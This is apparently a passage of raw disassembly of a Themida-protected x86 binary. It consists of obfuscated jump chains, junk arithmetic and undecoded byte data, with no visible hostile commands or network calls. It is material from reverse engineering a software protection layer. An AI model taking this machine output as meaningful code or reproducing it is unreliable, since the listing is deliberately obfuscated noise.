		dd 0E9E95002h, 81000147h, 77B004C3h, 0E9DE010Fh, 0C416h
		dd 4C481h, 0EC680000h, 8900003Eh, 4B82404h, 1000000h, 24048BC5h
		dd 5B7FE9h
		db 0
; ---------------------------------------------------------------------------

loc_551D4D:				; CODE XREF: Themida_:0055A3D6j
		mov	eax, 3DA6E3A7h
		jmp	loc_561FD3
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0E2E9505Ch, 8B00012Fh
		dd 0C481240Ch, 4, 0C774E9h
		db 0
; ---------------------------------------------------------------------------

loc_551D7D:				; CODE XREF: Themida_:0055F1B4j
		neg	eax
		shl	eax, 7
		jmp	loc_560A53
; ---------------------------------------------------------------------------
		db 81h
		dd 0A6FA7F3h, 0E9D9013Ah, 0CB14h, 0E95AD601h, 75C3h, 83241489h
		dd 1C8904ECh, 5916E924h, 0F4300000h, 3231E95Ah
		db 1, 0
; ---------------------------------------------------------------------------

loc_551DB2:				; CODE XREF: Themida_:00554D1Bj
		pop	edx
		push	619h
		mov	[esp], edi
		push	edi
		mov	edi, 6E3652A1h
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55E610
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 84FE9h, 242C8B00h, 8704C483h, 0B5E9240Ch, 5100003Ah
		dd 4B9h, 59CF0100h, 12D81E9h, 26C00500h, 0E9525027h, 5374h
; ---------------------------------------------------------------------------

loc_551E08:				; CODE XREF: Themida_:0056532Cj
		mov	ebx, 10A012EDh
		sub	dword ptr [esp+4], 38532808h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 38532808h
		jmp	loc_55498E
; ---------------------------------------------------------------------------
		dw 158h
aIbiIz@Sr	db 'К│К,iZ@]ИЮ#',0
		db 0
; ---------------------------------------------------------------------------

loc_551E35:				; CODE XREF: Themida_:00566B44j
		xchg	ebx, [esp]
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		push	67B3h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_553520
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240CD2h, 0FFF68EE9h, 0BE0F66FFh, 128FE9C8h, 1C870001h
		dd 9856E924h, 53590000h, 909FE954h, 34FF0000h, 89575F24h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 1A9FE95Ch
		db 1, 0
; ---------------------------------------------------------------------------

loc_551E92:				; CODE XREF: Themida_:0055A7C7j
		pop	ebp
		add	eax, 4
		jmp	loc_55C261
; ---------------------------------------------------------------------------

loc_551E9D:				; CODE XREF: Themida_:00557DBDj
		mov	dh, bl
		jmp	loc_55DD60
; ---------------------------------------------------------------------------

loc_551EA4:				; CODE XREF: Themida_:0055E211j
		add	esi, 40202A89h
		neg	esi
		jmp	loc_552E23
; ---------------------------------------------------------------------------
		db 5, 0Eh, 2
		dd 0F001D300h, 0B2C3815Eh, 118514Dh, 0A8E8E9C3h, 895C0000h
		dd 0FDE92414h, 510000ADh, 71E9CCB1h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_551ED7:				; CODE XREF: Themida_:0055ADE4j
		add	edi, 4
		push	1605h
		jmp	loc_55ECA8
; ---------------------------------------------------------------------------
		db 56h
		db 55h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_562627
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0AEh
		dd 29ECF8D3h, 7CE95FFBh, 520000ECh, 40A0E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551F06:				; CODE XREF: Themida_:00565CA7j
		mov	[esp], edi
		jmp	loc_555E1B
; ---------------------------------------------------------------------------
		dw 3B66h
		dd 0D4E99CC8h, 21FFFFF5h, 0B6858C1h, 8900007Ah,	24BA2414h
		dd 31060030h, 2434FFD1h, 4C4835Ah, 34FFCA01h, 0E9575924h
		dd 9E03h, 38BE5652h, 0E952EC36h, 126F5h
; ---------------------------------------------------------------------------

loc_551F48:				; CODE XREF: Themida_:0055BC2Ej
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		jmp	loc_5605F1
; ---------------------------------------------------------------------------
aS_		db '\И_с',0
		dw 0FF00h
		dd 5B042474h, 5C24048Fh, 9C240429h, 0FFF57EE9h,	24148BFFh
		dd 4C481h, 0C6290000h, 7AC4EE81h, 48B394Dh, 4C48124h, 81000000h
		dd 0FB3923EEh, 4D49E966h, 0EE810001h, 1CFA4DA4h, 273AE9h
		dd 0F9F68100h, 11C7D79h, 0AB37E9F2h, 0C4810000h, 4, 2BD55h
		dd 0EA810000h, 1DFB64BDh, 0B951EA01h, 373133A2h, 571FF181h
		dd 0BB532ACAh, 16532004h, 2EF38143h, 0F729EF01h, 2EBC1D3h
		dd 11237E9h, 0F7685100h, 5921A04Ch, 151AE181h, 3CE90A5Ch
		db 44h,	1, 0
; ---------------------------------------------------------------------------

loc_551FF3:				; CODE XREF: Themida_:0055C03Fj
		or	eax, ecx
		pop	ecx
		jmp	loc_557EA5
; ---------------------------------------------------------------------------
aIssM		db '┴АИтM',0
		align 2
		dw 8A68h
		dd 0E912A948h, 14509h
; ---------------------------------------------------------------------------

loc_55200C:				; CODE XREF: Themida_:0055F8D2j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	1174h
		mov	[esp], ebx
		push	esi
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		push	esi
		mov	esi, 6E9219EBh
		jmp	loc_561C90
; ---------------------------------------------------------------------------
		db 89h,	0CBh, 0E9h
		dd 2B13h, 5C3815Bh, 12E5736h, 5EB81CBh,	0E92E5736h, 86Dh
		dd 4EC81h, 70E90000h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55205F:				; CODE XREF: Themida_:00562092j
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1
		and	eax, esi
		jmp	loc_559318
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0D0h
		dd 549FB49h, 296C7543h,	7F57BE56h, 0EEC1769Dh, 0CE814603h
		dd 14624946h, 4BFDC681h, 0F68157D9h, 47D217A0h,	1F25EE81h
		dd 0F00926DDh, 4EC815Eh, 89000000h, 0A7B9240Ch,	0E969E029h
		dd 13E25h, 243C335Ah, 33243C31h, 0FF5C243Ch, 0B2E92434h
		dd 59000070h, 0C15DEE89h, 0B95106E6h, 5DFD2F73h, 6D9ABA52h
		dd 0D1297637h, 0E41CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5520E5:				; CODE XREF: Themida_:00562EC0j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5647CC
; ---------------------------------------------------------------------------

loc_5520F3:				; CODE XREF: Themida_:00553DFFj
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_556986
; ---------------------------------------------------------------------------

loc_552106:				; CODE XREF: Themida_:00561F11j
		add	esp, 4
		push	428Eh
		mov	[esp], ecx
		push	10ABh
		mov	[esp], esi
		push	29375F3Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56196E
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 9Bh
		dd 0E952C5FEh, 9E7Bh, 815A5452h, 4C2h, 4C28100h, 0E9000000h
		dd 0EDC7h, 22E9E389h, 53FFFFFFh, 42474FFh, 0B8FCE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55215E:				; CODE XREF: Themida_:005618F6j
		pop	esp
		push	ebx
		mov	ebx, 4
		jmp	loc_561E06
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 158C689h,	8CE95EF1h, 68000072h, 5D6Ch, 57241489h
		dd 6C74BD55h, 0EF8978D7h, 6DF4BA5Dh, 0EA81B265h, 32FF7EA1h
		dd 113BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55219D:				; CODE XREF: Themida_:0055E1DBj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_55C905
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	4C5815Dh, 0E9000000h, 629Bh
; ---------------------------------------------------------------------------

loc_5521D0:				; CODE XREF: Themida_:00559121j
		mov	eax, [esp]
		add	esp, 4
		push	3E8h
		jmp	loc_5517DB
; ---------------------------------------------------------------------------

loc_5521E0:				; CODE XREF: Themida_:00560FCBj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	3CFA4C43h
		mov	edi, [esp]
		jmp	loc_55BDBB
; ---------------------------------------------------------------------------
aXsc		db 'XИ√е',0
		align 2

loc_552202:				; CODE XREF: Themida_:0055FCABj
		xchg	edi, [esp]
		mov	esp, [esp]
		push	esi
		push	7C9Dh
		mov	[esp], esp
		jmp	loc_55D848
; ---------------------------------------------------------------------------

loc_552216:				; CODE XREF: Themida_:00555DB0j
		and	ebx, eax
		jmp	loc_560EC4
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 0AD70h, 58C22959h
		dd 78E9DA01h
		db 22h,	1, 0
; ---------------------------------------------------------------------------

loc_55223F:				; CODE XREF: Themida_:005591F5j
		or	eax, 17703994h
		push	4B99h
		mov	[esp], edx
		mov	edx, 36673C8Fh
		add	eax, edx
		pop	edx
		add	eax, 53F27873h
		sub	eax, 0A9D5F4FDh
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_564CBE
; ---------------------------------------------------------------------------
		dd 240C8B5Eh, 0E904C483h, 0FFFFFE34h
; ---------------------------------------------------------------------------

loc_552284:				; CODE XREF: Themida_:005547F7j
		xor	ebp, 2EE1297h
		add	esi, ebp
		pop	ebp
		xor	esi, 59151A39h
		shl	esi, 1
		inc	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 65D4E58h
		or	esi, ecx
		pop	ecx
		add	esi, 38C56D9Ah
		push	esi
		xor	dword ptr [esp], 138313C4h
		pop	eax
		jmp	loc_566860
; ---------------------------------------------------------------------------
		db 5
		dd 6634236Ah, 0ADBD555Eh, 816DDD36h, 6F361DEBh,	81EB0103h
		dd 6F361DC3h, 2434FF03h, 4F32E9h, 0BB00h, 0C3290000h, 17E95B93h
		db 6Bh,	2 dup(0)
byte_5522EB	db 66h			; DATA XREF: Themida_:00551460o
		dd 66240487h, 3C686650h, 1C89662Ah, 5920E924h, 89570000h
		dd 4C781E7h, 53000000h,	4BBh, 0F0A5E900h, 0EF800000h, 88505178h
		dd 0E68852FCh, 0E95AF188h, 0E815h, 557CFABFh, 82C7813Ah
		dd 0C1186832h, 0E78106E7h, 7B291367h, 8104EFC1h, 2A1D2BCFh
		dd 0D6C7814Ah, 2922E3ABh, 13EBE9F9h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55234E:				; CODE XREF: Themida_:0055C24Bj
		mov	[esp], ebp
		push	eax
		mov	eax, 378E56A6h
		push	5E6Fh
		mov	[esp], esi
		mov	esi, 0
		sub	esi, 72674281h
		sub	esi, eax
		add	esi, 72674281h
		xchg	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	eax, 0C871A959h
		push	edi
		push	eax
		pop	edi
		mov	ebp, edi
		jmp	loc_5653D6
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 71h
		dd 5D798663h, 3C8BF989h, 82AAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55239A:				; CODE XREF: Themida_:0055D380j
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 2
		sub	edi, ebp
		jmp	loc_56086E
; ---------------------------------------------------------------------------
		db 5Bh
		dd 1599EE81h, 0BF5757FEh, 5F8B66FDh, 8E7C147h, 1FCDBB53h
		dd 0E3813C98h, 7B4870EFh, 0EBC14B4Bh, 0CF38102h, 210BDD19h
		dd 0EF815BDFh, 0FC5C7C7Ah, 4BE2C681h, 1BE97BFAh
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5523E7:				; CODE XREF: Themida_:005545E3j
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55DE1E
; ---------------------------------------------------------------------------

loc_55240A:				; CODE XREF: Themida_:005591ADj
		push	ebx
		mov	ebx, 5EDD4F4Ah
		sub	esi, ebx
		pop	ebx
		add	esi, ecx
		add	esi, 5EDD4F4Ah
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_553B34
; ---------------------------------------------------------------------------
		dw 468h
		dd 8B000000h, 0C4832404h, 0D4BB5304h, 813E143Ah, 422225F3h
		dd 5BDD2905h, 2F0AED81h, 0ED8123FAh, 6DC06DFAh,	6CFAED81h
		dd 82E94DD3h, 8100013Fh, 4C4h, 0E9F53100h, 13BEEh, 164AE95Ah
		db 1, 0
; ---------------------------------------------------------------------------

loc_55246A:				; CODE XREF: Themida_:00560B2Bj
		not	ebp
		push	ecx
		mov	ecx, 527910DDh
		add	ecx, 0F5BCF288h
		and	ebp, ecx
		pop	ecx
		xor	ebp, 48260001h
		mov	esi, ebp
		pop	ebp
		sub	ecx, 5DA24162h
		add	ecx, esi
		jmp	loc_55325F
; ---------------------------------------------------------------------------

loc_552491:				; CODE XREF: Themida_:00559178j
		mov	[esp], edi
		mov	edi, 4
		add	eax, 41E1466h
		sub	eax, 292965BDh
		sub	eax, edi
		add	eax, 292965BDh
		sub	eax, 41E1466h
		mov	edi, [esp]
		jmp	loc_5667E5
; ---------------------------------------------------------------------------
		db 29h
		dd 51535AD0h, 0D1FCE9h,	24048100h, 4, 37E9555Bh, 10000EFh
		dd 24148BD6h, 4C481h, 0C6810000h, 4, 5C243487h,	761A68h
		dd 243C8900h, 115EDE9h,	4E6C100h, 8732E9h, 8036BB00h, 0FB29ADE6h
		dd 5BD9015Fh, 0E228E9h
		db 0
byte_552509	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00551220o
		dd 4EC8124h, 89000000h,	868241Ch, 5400007Bh, 8324048Fh
		dd 5B042404h, 4EC81h, 2C890000h, 453FE924h, 0E0890000h
		dd 0AE68h, 4437E900h, 4050001h,	5000000h, 4, 5C240487h
		dd 45A9E9h, 27B95100h, 0E93D8A1Fh, 69A6h
; ---------------------------------------------------------------------------

loc_55255C:				; CODE XREF: Themida_:0056054Dj
		mov	[esp], ebx
		push	4353h
		mov	[esp], esi
		push	ecx
		push	ebx
		push	422F4E62h
		pop	ebx
		shl	ebx, 2
		xor	ebx, 7C5F384Bh
		and	ebx, 1785202Eh
		sub	ebx, 0D4D3DD45h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55F144
; ---------------------------------------------------------------------------

loc_55258C:				; CODE XREF: Themida_:00555039j
		add	edx, 731786A4h
		jmp	loc_55F45E
; ---------------------------------------------------------------------------
		db 80h
		dd 0D2E976F7h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55259F:				; CODE XREF: Themida_:00564404j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55841C
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 11h
		dd 5618D522h, 263CF6BEh, 4F68176h, 0E97EDD38h, 0A24Bh
		dd 0E9242489h, 0FFFFEF5Bh, 0E924048Fh, 569Dh
; ---------------------------------------------------------------------------

loc_5525E4:				; CODE XREF: Themida_:0055BD3Aj
		add	esp, 4
		push	eax
		mov	eax, 4328566Dh
		and	edx, eax
		mov	eax, [esp]
		push	edx
		jmp	loc_55C5B1
; ---------------------------------------------------------------------------
		dd 21A0C281h, 875F514Dh, 0B8E92414h, 29000115h,	1AE959C8h
		dd 810000B3h, 4C3h, 4EB8100h, 87000000h, 40E9241Ch, 57000103h
		dd 0F2E9E789h, 0E90000F4h, 0FFFFEEBBh, 81242489h, 42404h
		dd 48F0000h, 24048324h,	24048F04h, 46853h, 87E90000h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55264F:				; CODE XREF: Themida_:0055572Fj
		pop	eax
		jmp	loc_559884
; ---------------------------------------------------------------------------

loc_552655:				; CODE XREF: Themida_:00563A5Dj
		sub	ebx, 44826AF6h
		jmp	loc_563DA3
; ---------------------------------------------------------------------------
		dd 0BE243489h, 7B9CF727h, 2D5EF131h, 148718AFh,	66A1E9h
		dd 74C50500h, 51593410h, 60FDE9h, 243C8B00h, 5E08950h
		dd 4, 6DCC68h, 240C8900h, 4B9h,	59C80100h, 0A236E9h, 4C48300h
		dd 0C4DCE9h, 8FE95000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5526AF:				; CODE XREF: Themida_:0055C918j
		push	2E34h
		mov	[esp], ecx
		mov	ecx, 3BBC0998h
		sub	edi, ecx
		pop	ecx
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		neg	eax
		push	ebx
		mov	ebx, 0FC5055Ch
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 71E266F8h
		or	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	390Ah
		mov	[esp], edx
		mov	edx, 77A46681h
		jmp	loc_55AF60
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 58E037B3h, 582434FFh, 0FFFD56E9h, 241C33FFh,	33241C31h
		dd 0B5E9241Ch, 5900010Bh, 0DEE9555Ah, 5E00004Fh, 4EC81h
		dd 3C890000h, 62685024h, 5872C044h, 3FBBA005h, 58C7898Dh
		dd 0E0685653h, 5E279077h, 342E6851h, 0E9597203h, 13837h
		dd 40EAE781h, 0EFC10C75h, 84F78108h, 310C5755h,	243C8BFDh
		dd 2904C483h, 0D8015DE8h, 326D405h, 243E922h, 0C3810001h
		dd 4, 8B241C87h, 0C6812424h, 4,	6CB368h, 24048900h, 268h
		dd 90EBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55278E:				; CODE XREF: Themida_:0055D180j
		push	edi
		jmp	loc_5586AA
; ---------------------------------------------------------------------------
		dd 0C082E680h, 0F68006EEh, 0A9C680C3h, 5E91E9h,	805FB700h
		dd 0E7D020CFh, 0E904EFC0h, 13451h, 8104C483h, 4ECh, 24048900h
		dd 2B8h, 12EE8100h, 1745F10h, 12C681C6h, 0FF745F10h, 83582434h
		dd 343304C4h, 279DE924h, 8F5A0001h, 895C2404h, 0FCBE2434h
		dd 89000003h, 2434FFF5h, 12C45E9h
		db 0
; ---------------------------------------------------------------------------

loc_5527F9:				; CODE XREF: Themida_:00564B72j
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		dw 0EBBEh
		dd 89378F17h, 24348BF2h, 8104C483h, 293068C2h, 0C281423Bh
		dd 8D47B7B0h, 0A412E9h,	240C8B00h, 4C481h, 0C2800000h
		dd 2EAC0FCh, 805DEA80h,	0E95143C2h, 8FEBh
; ---------------------------------------------------------------------------

loc_552838:				; CODE XREF: Themida_:0055BDEBj
		push	esp
		jmp	loc_5638BC
; ---------------------------------------------------------------------------

loc_55283E:				; CODE XREF: Themida_:0055D564j
		add	eax, ebx
		sub	eax, 7753923h
		jmp	loc_558B7C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 206551AEh, 76E9FA01h, 890000F9h, 51E95AD6h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55285F:				; CODE XREF: Themida_:00552C10j
		sub	ebp, edi
		jmp	loc_556242
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 6C672B51h, 7BE9CA01h, 81000115h, 9717C4EFh, 3E7C157h
		dd 5506E7C1h, 0B53712BDh, 8EDC127h, 2DCD814Dh, 0F7174542h
		dd 0C1F581DDh, 0E9EF4537h, 90D9h, 4246C81h, 1C0C3589h
		dd 8124348Bh, 4C4h, 7A055800h, 8B5AC130h, 0C481240Ch, 4
		dd 132F0E9h, 2434FF00h,	4C48359h, 59DDE9h, 0C5895A00h
		dd 13CFCE9h
		db 0
; ---------------------------------------------------------------------------

loc_5528D5:				; CODE XREF: Themida_:00563C3Ej
		mov	esi, 7F236DC9h
		sub	edi, esi
		push	dword ptr [esp]
		jmp	loc_55695F
; ---------------------------------------------------------------------------
		dd 31240C33h, 0DFE9240Ch
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5528EF:				; CODE XREF: Themida_:00560FC2j
		sub	eax, 33326282h
		jmp	loc_555B88
; ---------------------------------------------------------------------------
aSsb		db 'SИ│\',0
		db 0
; ---------------------------------------------------------------------------

loc_5528FF:				; CODE XREF: Themida_:00562162j
		xor	ecx, 31F604Ch
		push	eax
		push	esi
		mov	esi, ecx
		mov	eax, esi
		pop	esi
		jmp	loc_56122C
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
aOlPb7rxsaa	db '$╦м╝l^P│,$Ё7ЮXИA²',0
		db 0
; ---------------------------------------------------------------------------

loc_552927:				; CODE XREF: Themida_:0055822Bj
		xor	ebx, edx
		xor	edx, ecx
		jmp	loc_55DD06
; ---------------------------------------------------------------------------
		dd 0C8B665Ch, 0BFEBE924h, 1C890000h, 0E9DDB324h, 22Dh
		dd 0C041E95Dh, 0E5280000h, 99E95866h
		db 31h,	1, 0
; ---------------------------------------------------------------------------

loc_552953:				; CODE XREF: Themida_:005631EBj
		xchg	edx, esi
		not	edx
		push	esi
		push	edx
		pop	esi
		jmp	loc_558EF0
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C3815A58h, 67FE1C55h, 0EB81FB01h, 67FE1C55h, 4814E9h
		dd 81C12900h, 0D527B9C1h, 24048B1Eh, 14047E9h, 4C28100h
		dd 87000000h, 248B2414h, 0F1C18124h, 8B61CC19h,	65E9243Ch
		dd 6800006Ch, 7981h, 0B1240C89h, 2D0EE982h, 0C890000h
		dd 4EC8124h, 89000000h,	57E92404h, 0BF00011Eh, 158547F2h
		dd 2DCDC781h, 23682048h, 89000064h, 8B54242Ch, 0C483242Ch
		dd 51575104h, 4472DEB9h, 59CF8945h, 0F781DFF7h,	396B749Dh
		dd 0E904EFC1h, 109D4h
dword_5529F4	dd 24048B66h, 582768h, 24348900h, 53D968h, 24248900h, 44466856h
					; DATA XREF: Themida_:0055147Co
		dd 1C890000h, 4BB24h, 0DE890000h, 2474015Bh, 2434FF04h
		dd 12888E9h, 5DE88900h,	99880540h, 0C129F7F8h, 240C8758h
		dd 2414895Ch, 0F10D1168h, 0C2815A52h, 77732682h, 70C28142h
		dd 0E9359BCCh, 5CA2h, 4C481h, 0BD550000h, 1, 0E95DE829h
		dd 10CE1h
; ---------------------------------------------------------------------------

loc_552A64:				; CODE XREF: Themida_:0055B777j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5538F1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55BDEA
; ---------------------------------------------------------------------------

loc_552A83:				; CODE XREF: Themida_:0055F380j
		or	ecx, 79633C7Fh
		push	edi
		mov	edi, 6EFF158Fh
		not	edi
		sub	edi, 69665124h
		jmp	loc_562CDD
; ---------------------------------------------------------------------------
aFyAIsae	db ' ЛfYюЛ',8,'─д╘ИAe',0
		dw 8100h
		dd 4ECh, 6361E900h, 34FF0000h, 62E95A24h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552ABF:				; CODE XREF: Themida_:0055A831j
		xor	eax, esi
		jmp	loc_555A32
; ---------------------------------------------------------------------------

loc_552AC6:				; CODE XREF: Themida_:00555ECCj
		pop	esp
		push	713Ah
		mov	[esp], edi
		push	eax
		push	7D767C48h
		mov	eax, [esp]
		add	esp, 4
		push	eax
		not	dword ptr [esp]
		jmp	loc_5621B4
; ---------------------------------------------------------------------------
aSssd		db 'SИАd',0
		align 2
		dw 0FD68h
		dd 89000036h, 0E568242Ch, 89000073h, 0C8E92424h, 8100000Ch
		dd 4C4h, 50EB0100h, 0B126DEB8h,	0D1F7917Fh, 2D3F2591h
		dd 0FF05676Ch, 0C14E2562h, 0D0F707E0h, 7AABF57h, 0F7810145h
		dd 844C62F8h, 15FF801h,	24048BC3h, 22C9E9h
		db 0
byte_552B39	db 81h,	0ECh, 4		; DATA XREF: Themida_:00551384o
		dd 89000000h, 3C68240Ch, 0FF000000h, 81592434h,	4C4h, 3AE95600h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552B57:				; CODE XREF: Themida_:00553C5Cj
		push	edi
		mov	edi, 51235410h
		sub	ebx, 50953E9Ah
		sub	ebx, edi
		add	ebx, 50953E9Ah
		pop	edi
		jmp	loc_560EBC
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0FFh
		dd 0EC8AE9h, 6BC68100h,	318E560Ch, 1BC9E9F0h, 14890000h
		dd 0C082E924h, 0C1290000h, 1FDFE981h, 1584B19h,	3D9E9C8h
		dd 0F1810000h, 0AECD74EBh, 8159CD31h, 87423E9h,	81E90144h
		dd 87423C1h, 80EE944h, 835F0000h, 0EC8304C4h, 243C8904h
		dd 12254E9h, 24148900h,	42474FFh, 1D9EE9h, 5FFA0900h, 3E31E281h
		dd 0ABE93D08h, 5000071h, 634C4394h, 9662E951h, 0C6880000h
		dd 4EC8158h, 89000000h,	0D0B1240Ch, 0E901B050h,	0D913h
; ---------------------------------------------------------------------------

loc_552C04:				; CODE XREF: Themida_:005643D5j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55285F
; ---------------------------------------------------------------------------
		db 52h,	89h, 0F2h
aISdq		db '┴пИ╓÷',0
		dw 0B200h
		dd 2E2C038h, 7A816853h,	0FEE90000h, 51000112h, 0EE88FD88h
		dd 241C8B59h, 4C481h, 0EC800000h, 82EC809Dh, 0E952F428h
		dd 13A2Bh, 0E904C483h, 0FFFFE897h
; ---------------------------------------------------------------------------

loc_552C54:				; CODE XREF: Themida_:00559F5Fj
		mov	ebx, 4
		jmp	loc_562FCF
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C381D301h, 21551CBCh, 52A1C381h,	0C8E92CBAh, 500000AEh
		dd 8E113568h, 0BC15E912h
		db 2 dup(0)
word_552C82	dw 34FFh		; DATA XREF: Themida_:005513F0o
		dd 2434FF24h, 8324048Bh, 0D16804C4h, 89000017h,	0DD68242Ch
		dd 89000073h, 4812424h,	424h, 2434FF00h, 0E9242C8Bh, 12BFCh
; ---------------------------------------------------------------------------

loc_552CB0:				; CODE XREF: Themida_:0055B342j
		sub	bl, 8Eh
		add	ah, bl
		jmp	loc_563FC2
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 305DE904h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552CC2:				; CODE XREF: Themida_:0056104Bj
		neg	ebx
		inc	ebx
		shl	ebx, 2
		jmp	loc_5546C9
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 50h
		dd 0C1007413h, 0B0E904EFh, 8900004Bh, 8E92404h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552CE3:				; CODE XREF: Themida_:0055B5A4j
		mov	edi, 77423E11h
		xor	edi, 29CF4C30h
		jmp	loc_5560EF
; ---------------------------------------------------------------------------
		db 1
aQBPgs		db 'уQ╧│,▐gИ>ю',0
		align 10h
dword_552D00	dd 8B2434FFh, 0C483240Ch, 480A6804h, 0C890000h,	0E1EEE924h
					; DATA XREF: Themida_:0055128Co
		dd 4890000h, 865B024h, 0C38058C3h, 67A8E9C7h, 0EEC10000h
		dd 0A0F68103h, 816F857Eh, 7F9D22EEh, 5EF3891Fh,	8106EBC1h
		dd 82609ACBh, 8EBC159h,	0FFEA62E9h, 0B850FFh, 29000000h
		dd 815896F0h, 4769F2EEh, 0F189516Eh, 8B59CD89h,	0C4812434h
		dd 4, 2C8BE801h, 4C48324h, 50E38953h, 0F516D5B8h, 493A2D64h
		dd 972D1224h, 152D0CDh,	0EB8158C3h, 4, 0E9241C33h, 12059h
; ---------------------------------------------------------------------------

loc_552D94:				; CODE XREF: Themida_:00561292j
		pop	esp
		jmp	loc_55E868
; ---------------------------------------------------------------------------

loc_552D9A:				; CODE XREF: Themida_:005590BAj
		mov	esi, esp
		add	esi, 4
		jmp	loc_554D56
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 4EC8324h,	0E9243C89h, 596Eh
; ---------------------------------------------------------------------------

loc_552DB8:				; CODE XREF: Themida_:005602E7j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_556893
; ---------------------------------------------------------------------------
aVsf5		db 'VИД5',0
		db 0
; ---------------------------------------------------------------------------

loc_552DC7:				; CODE XREF: Themida_:005516D8j
		push	3DEh
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_5598F8
; ---------------------------------------------------------------------------

loc_552DE7:				; CODE XREF: Themida_:0055B1A7j
		sub	ebp, 70DC409Fh
		jmp	loc_564E04
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 92E904ECh, 1000085h,	0C8B59C8h, 4C48324h, 0C63EB81h
		dd 0C329148Bh, 0C1968h,	243C8900h, 77E06850h, 0F7587FD1h
		dd 8E952D8h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------

